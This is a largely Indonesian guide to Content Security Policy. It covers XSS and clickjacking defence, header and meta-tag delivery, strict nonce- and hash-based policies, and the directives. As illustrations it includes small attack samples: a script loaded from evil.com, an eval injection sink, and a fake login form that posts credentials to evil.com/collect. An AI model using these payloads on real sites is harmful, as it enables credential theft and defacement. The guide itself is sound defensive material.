Content Security Policy

Pendahuluan

Artikel ini menyajikan cara untuk mengintegrasikan konsep pertahanan berlapis ke sisi klien aplikasi web. Dengan menyuntikkan header Content Security Policy

(CSP) dari server, peramban akan mengetahui dan mampu melindungi pengguna dari panggilan dinamis yang akan memuat konten ke halaman yang sedang dikunjungi.

Konteks

Peningkatan kerentanan XSS (Cross-Site Scripting), clickjacking, dan kebocoran lintas situs menuntut pendekatan keamanan yang lebih mendalam.

Defense against XSS

CSP bertahan terhadap serangan XSS dengan cara berikut:

  1. Restricting Inline Scripts

    Dengan mencegah halaman menjalankan skrip sebaris, serangan seperti menyuntikkan

    <script>document.body.innerHTML='defaced'</script>
    

    tidak akan berfungsi.

  2. Restricting Remote Scripts

    Dengan mencegah halaman memuat skrip dari server sembarangan, serangan seperti menyuntikkan

    <script src="https://evil.com/hacked.js"></script>
    

    tidak akan berfungsi.

  3. Restricting Unsafe JavaScript

    Dengan mencegah halaman menjalankan fungsi text-to-JavaScript seperti eval, situs web akan aman dari kerentanan seperti ini:

    // A Simple Calculator
    var op1 = getUrlParameter("op1");
    var op2 = getUrlParameter("op2");
    var sum = eval(`${op1} + ${op2}`);
    console.log(`The sum is: ${sum}`);
    
  4. Restricting Form submissions

    Dengan membatasi tempat formulir HTML di situs web Anda dapat mengirimkan datanya, menyuntikkan formulir phishing juga tidak akan berfungsi.

    <form method="POST" action="https://evil.com/collect">
    <h3>Session expired! Please login again.</h3>
    <label>Username</label>
    <input type="text" name="username"/>
    
    <label>Password</label>
    <input type="password" name="pass"/>
    
    <input type="Submit" value="Login"/>
    </form>
    
  5. Restricting Objects

    And by restricting the HTML object tag, it also won't be possible for an attacker to inject malicious flash/Java/other legacy executables on the page.

Pertahanan terhadap serangan framing

Serangan seperti clickjacking dan beberapa varian serangan side-channel browser (xs-leaks) mengharuskan situs web berbahaya untuk memuat situs web target dalam sebuah frame.

Sebelumnya, header X-Frame-Options pernah digunakan untuk ini, tetapi telah ditinggalkan oleh direktif CSP frame-ancestors.

Pertahanan Mendalam

CSP yang kuat menyediakan lapisan perlindungan kedua yang efektif terhadap berbagai jenis kerentanan, terutama XSS. Meskipun CSP tidak mencegah aplikasi web mengandung kerentanan, CSP dapat membuat kerentanan tersebut jauh lebih sulit dieksploitasi oleh penyerang.

Bahkan di situs web yang sepenuhnya statis, yang tidak menerima masukan pengguna apa pun, CSP dapat digunakan untuk menegakkan penggunaan Subresource Integrity (SRI). Hal ini dapat membantu mencegah kode berbahaya dimuat di situs web jika salah satu situs pihak ketiga yang menghosting berkas JavaScript (seperti skrip analitik) disusupi.

Meskipun demikian, CSP tidak boleh diandalkan sebagai satu-satunya mekanisme pertahanan terhadap XSS. Anda tetap harus mengikuti praktik pengembangan yang baik seperti yang dijelaskan dalam Lembar Panduan Cross-Site Scripting Prevention (XRSP), lalu menerapkan CSP sebagai lapisan keamanan tambahan.

Policy Delivery

Anda dapat menyampaikan Kebijakan Keamanan Konten ke situs web Anda dengan tiga cara.

  1. Content-Security-Policy Header

    Kirim header respons HTTP Content-Security-Policy dari server web Anda.

    Content-Security-Policy: ...
    

    Menggunakan header adalah cara yang lebih disukai dan mendukung rangkaian fitur CSP yang lengkap. Kirimkan header di semua respons HTTP, bukan hanya di halaman indeks.

    Ini adalah header standar Spesifikasi W3C. Didukung oleh Firefox 23+, Chrome 25+, dan Opera 19+.

  2. Content-Security-Policy-Report-Only Header

    Dengan menggunakan Laporan Kebijakan Keamanan Konten Saja, Anda dapat menyampaikan CSP yang tidak diberlakukan.

    Content-Security-Policy-Report-Only: ...
    

    Namun, laporan pelanggaran dicetak ke konsol dan dikirimkan ke titik akhir pelanggaran jika direktif report-to dan report-uri digunakan.

    Ini juga merupakan header standar Spesifikasi W3C. Didukung oleh Firefox 23+, Chrome 25+, dan Opera 19+, dengan kebijakan non-pemblokiran ("fail open") dan laporan dikirim ke URL yang ditentukan oleh direktif report-uri (atau report-to yang lebih baru). Ini sering digunakan sebagai pendahuluan untuk menggunakan CSP dalam mode pemblokiran ("fail closed").

    Peramban sepenuhnya mendukung kemampuan situs untuk menggunakan Content-Security-Policy dan Content-Security-Policy-Report-Only secara bersamaan, tanpa masalah. Pola ini dapat digunakan misalnya untuk menjalankan kebijakan Report-Only yang ketat (untuk mendapatkan banyak laporan pelanggaran), sementara penerapan kebijakannya lebih longgar (untuk menghindari gangguan pada fungsionalitas situs yang sah).

  3. Content-Security-Policy Meta Tag

    Terkadang Anda tidak dapat menggunakan header Content-Security-Policy jika, misalnya, Anda sedang menyebarkan berkas HTML di CDN yang headernya berada di luar kendali Anda.

    Dalam hal ini, Anda masih dapat menggunakan CSP dengan menentukan tag meta http-equiv dalam markup HTML, seperti ini:

    <meta http-equiv="Content-Security-Policy" content="...">
    

    Hampir semuanya masih didukung, termasuk perlindungan XSS penuh. Namun, Anda tidak akan dapat menggunakan perlindungan framing, sandboxing, atau CSP violation logging endpoint.

Peringatan

JANGAN gunakan X-Content-Security-Policy atau X-WebKit-CSP. Implementasinya sudah usang (sejak Firefox 23, Chrome 25), terbatas, tidak konsisten, dan sangat bermasalah.

CSP Types (granular/allowlist based or strict)

Mekanisme awal untuk membangun CSP melibatkan pembuatan daftar izin yang akan menentukan konten dan sumber yang diizinkan dalam konteks halaman HTML.

Namun, praktik terbaik saat ini adalah membuat CSP "Ketat" yang jauh lebih mudah diterapkan dan lebih aman karena kecil kemungkinannya untuk dilewati.

Strict CSP

CSP yang ketat dapat dibuat dengan menggunakan sejumlah kecil Petunjuk Pengambilan terperinci yang tercantum di bawah ini beserta salah satu dari dua mekanisme:

  • Nonce based

  • Hash based

Petunjuk strict-dynamic juga dapat digunakan secara opsional untuk mempermudah penerapan CSP yang Ketat.

Bagian-bagian berikut akan memberikan beberapa panduan dasar untuk mekanisme ini, tetapi sangat disarankan untuk mengikuti petunjuk Google yang terperinci dan metodologis untuk membuat CSP yang Ketat:

Mitigate cross-site scripting (XSS) with a strict Content Security Policy (CSP)

Nonce based

Nonce adalah nilai acak sekali pakai yang unik yang Anda hasilkan untuk setiap respons HTTP, dan tambahkan ke header Content-Security-Policy, seperti ini:

const nonce = uuid.v4();
scriptSrc += ` 'nonce-${nonce}'`;

Anda kemudian akan meneruskan nonce ini ke tampilan Anda (menggunakan nonce memerlukan HTML non-statis) dan merender tag skrip yang terlihat seperti ini:

<script nonce="<%= nonce %>">
    ...
</script>

Peringatan

Jangan membuat middleware yang mengganti semua tag skrip dengan "script nonce=..." karena skrip yang disuntikkan penyerang akan mendapatkan nonce juga. Anda memerlukan mesin templat HTML yang sebenarnya untuk menggunakan nonce.

Hashes

Bila skrip sebaris diperlukan, script-src 'hash_algo-hash' merupakan pilihan lain untuk mengizinkan skrip tertentu saja untuk dieksekusi.

Content-Security-Policy: script-src 'sha256-V2kaaafImTjn8RQTWZmF4IfGfQ7Qsqsw9GWaFjzFNPg='

Untuk mendapatkan hash, lihat alat pengembang Google Chrome untuk pelanggaran seperti ini:

❌ Refused to execute inline script because it violates the following Content Security Policy directive: "..." Either the 'unsafe-inline' keyword, a hash ('sha256-V2kaaafImTjn8RQTWZmF4IfGfQ7Qsqsw9GWaFjzFNPg='), or a nonce...

Anda juga bisa menggunakan generator hash ini. Ini adalah contoh penggunaan hash yang bagus.

Catatan

Menggunakan hash bisa menjadi pendekatan yang berisiko. Jika Anda mengubah apa pun di dalam tag skrip (bahkan spasi), misalnya dengan memformat kode, hash-nya akan berbeda, dan skrip tidak akan ditampilkan.

strict-dynamic

Direktif strict-dynamic dapat digunakan sebagai bagian dari CSP Ketat yang dikombinasikan dengan hash atau nonce.

Jika blok skrip yang memiliki hash atau nonce yang benar membuat elemen DOM tambahan dan mengeksekusi JavaScript di dalamnya, strict-dynamic akan memberi tahu browser untuk mempercayai elemen-elemen tersebut juga tanpa harus menambahkan nonce atau hash secara eksplisit untuk masing-masing elemen.

Perlu diketahui bahwa meskipun strict-dynamic adalah fitur CSP level 3, CSP level 3 didukung secara luas di browser modern yang umum.

Untuk detail selengkapnya, lihat penggunaan strict-dynamic.

Direktif CSP Terperinci

Ada beberapa jenis direktif yang memungkinkan pengembang mengontrol alur kebijakan secara terperinci. Perlu diperhatikan bahwa membuat kebijakan non-Strict yang terlalu terperinci atau permisif kemungkinan besar akan menyebabkan pengabaian dan hilangnya perlindungan.

Fetch Directives

Direktif fetch memberi tahu browser lokasi tepercaya dan sumber daya yang dapat dimuat.

Sebagian besar direktif fetch memiliki daftar fallback tertentu yang ditentukan dalam w3. Daftar ini memungkinkan kontrol terperinci atas sumber skrip, gambar, berkas, dll.

  • child-src memungkinkan pengembang untuk mengontrol konteks penelusuran bersarang dan konteks eksekusi pekerja.

  • connect-src menyediakan kontrol atas permintaan fetch, XHR, eventsource, beacon, dan koneksi websocket.

  • font-src menentukan URL tempat font akan dimuat.

  • img-src menentukan URL tempat gambar dapat dimuat.

  • manifest-src menentukan URL tempat manifes aplikasi dapat dimuat.

  • media-src menentukan URL tempat sumber daya trek video, audio, dan teks dapat dimuat.

  • prefetch-src menentukan URL tempat sumber daya dapat diambil terlebih dahulu.

  • object-src menentukan URL tempat plugin dapat dimuat.

  • script-src menentukan lokasi tempat skrip dapat dieksekusi. Ini adalah direktif fallback untuk direktif serupa skrip lainnya.
    • script-src-elem mengontrol lokasi tempat eksekusi permintaan dan blok skrip dapat terjadi.

    • script-src-attr mengontrol eksekusi event handler.

  • style-src mengontrol tempat penerapan gaya ke dokumen. Ini termasuk elemen <link>, aturan @import, dan permintaan yang berasal dari kolom header respons HTTP Link.
    • style-src-elem mengontrol gaya kecuali untuk atribut inline.

    • style-src-attr mengontrol atribut gaya.

  • default-src adalah direktif fallback untuk direktif fetch lainnya. Direktif yang ditentukan tidak memiliki pewarisan, sedangkan direktif yang tidak ditentukan akan kembali ke nilai default-src.

Document Directives

Direktif dokumen memberi instruksi kepada browser tentang properti dokumen yang akan diterapkan kebijakan.

  • base-uri menentukan kemungkinan URL yang dapat digunakan oleh elemen <base>.

  • plugin-types membatasi jenis sumber daya yang dapat dimuat ke dalam dokumen (misalnya application/pdf). Tiga aturan berlaku untuk elemen yang terpengaruh, <embed> dan <object>:
    • Elemen perlu mendeklarasikan tipenya secara eksplisit.

    • Tipe elemen harus sesuai dengan tipe yang dideklarasikan.

    • Sumber daya elemen harus sesuai dengan tipe yang dideklarasikan.

  • sandbox membatasi tindakan halaman seperti mengirimkan formulir.
    • Hanya berlaku jika digunakan dengan header permintaan Content-Security-Policy.

    • Tidak menentukan nilai untuk direktif akan mengaktifkan semua pembatasan sandbox. Content-Security-Policy: sandbox;

    • Sintaks sandbox

Reporting Directives

Direktif pelaporan mengirimkan pelanggaran perilaku yang dicegah ke lokasi tertentu. Direktif ini tidak memiliki tujuan sendiri dan bergantung pada direktif lain.

  • report-to yang merupakan nama grup yang didefinisikan di header dalam nilai header berformat JSON.
  • Direktif report-uri tidak digunakan lagi oleh report-to, yang merupakan URI tujuan pengiriman laporan.

Untuk memastikan kompatibilitas mundur, gunakan 2 direktif ini secara bersamaan. Setiap kali browser mendukung report-to, browser akan mengabaikan report-uri. Jika tidak, report-uri akan digunakan.

Special Directives Sources

Value

Description

'none'

No URLs match.

'self'.

Refers to the origin site with the same scheme and port number.

'unsafe-inline'

Allows the usage of inline scripts or styles.

'unsafe-eval'.

Allows the usage of eval in scripts.

Untuk lebih memahami cara kerja sumber arahan, periksa daftar sumber dari w3c.

Berdasarkan instruksi tersebut, salah satu dari dua kebijakan berikut dapat digunakan untuk menerapkan kebijakan yang ketat:

Nonce-based Strict Policy

Content-Security-Policy:
  script-src 'nonce-{RANDOM}' 'strict-dynamic';
  object-src 'none';
  base-uri 'none';

Hash-based Strict Policy

Content-Security-Policy:
  script-src 'sha256-{HASHED_INLINE_SCRIPT}' 'strict-dynamic';
  object-src 'none';
  base-uri 'none';

Basic non-Strict CSP Policy

Kebijakan ini dapat digunakan jika tidak memungkinkan untuk membuat Kebijakan Ketat dan mencegah pembingkaian dan pengiriman formulir lintas situs. Kebijakan ini hanya akan mengizinkan sumber daya dari domain asal untuk semua direktif tingkat default dan tidak akan mengizinkan skrip/gaya sebaris untuk dieksekusi.

Jika aplikasi Anda berfungsi dengan batasan ini, hal ini secara drastis mengurangi permukaan serangan Anda dan berfungsi dengan sebagian besar peramban modern.

Kebijakan paling dasar mengasumsikan:

  • Semua sumber daya dihosting oleh domain dokumen yang sama.

  • Tidak ada inline atau eval untuk skrip dan sumber daya gaya.

  • Tidak perlu situs web lain untuk membingkai situs web.

  • Tidak ada pengiriman formulir ke situs web eksternal.

Content-Security-Policy: default-src 'self'; frame-ancestors 'self'; form-action 'self';

Untuk mengencangkan lebih jauh, seseorang dapat menerapkan hal berikut ini:

Content-Security-Policy: default-src 'none'; script-src 'self'; connect-src 'self'; img-src 'self'; style-src 'self'; frame-ancestors 'self'; form-action 'self';

Kebijakan ini mengizinkan gambar, skrip, AJAX, dan CSS dari asal yang sama dan tidak mengizinkan sumber daya lain untuk dimuat (misalnya, objek, bingkai, media, dll.).

Meningkatkan permintaan yang tidak aman

Jika pengembang bermigrasi dari HTTP ke HTTPS, arahan berikut akan memastikan bahwa semua permintaan akan dikirim melalui HTTPS tanpa fallback ke HTTP:

Content-Security-Policy: upgrade-insecure-requests;

Mencegah serangan framing (clickjacking, kebocoran lintas situs)

  • Untuk mencegah semua pembingkaian konten Anda, gunakan:

    Content-Security-Policy: frame-ancestors 'none';

  • Untuk mengizinkan situs itu sendiri, gunakan:

    Content-Security-Policy: frame-ancestors 'self';

  • Untuk mengizinkan domain tepercaya, lakukan hal berikut:

    Content-Security-Policy: frame-ancestors trusted.com;

Refactoring inline code

Saat direktif default-src atau script-src* aktif, CSP secara default menonaktifkan kode JavaScript apa pun yang ditempatkan sebaris dalam sumber HTML, seperti ini:

<script>
var foo = "314"
<script>

Kode sebaris dapat dipindahkan ke file JavaScript terpisah dan kode di halaman menjadi:

<script src="app.js">
</script>

Dengan app.js berisi kode var foo="314".

Pembatasan kode sebaris juga berlaku untuk inline event handlers, sehingga konstruksi berikut akan diblokir di bawah CSP:

<button id="button1" onclick="doSomething()">

Ini harus digantikan dengan panggilan addEventListener:

document.getElementById("button1").addEventListener('click', doSomething);

Referensi

  1. Strict CSP https://web.dev/strict-csp

  2. CSP Level 3 W3C https://www.w3.org/TR/CSP3/

  3. Content-Security-Policy https://content-security-policy.com/

  4. MDN CSP https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy

  5. CSP Wikipedia https://en.wikipedia.org/wiki/Content_Security_Policy

  6. CSP CheatSheet by Scott Helme https://scotthelme.co.uk/csp-cheat-sheet/

  7. Breaking Bad CSP https://www.slideshare.net/LukasWeichselbaum/breaking-bad-csp

  8. CSP A Successfull Mess Between Hardening And Mitigation https://speakerdeck.com/lweichselbaum/csp-a-successful-mess-between-hardening-and-mitigation

  9. Content Security Policy Guide AppSec Monkey https://www.appsecmonkey.com/blog/content-security-policy-header/

  10. CSP evaluator https://csp-evaluator.withgoogle.com/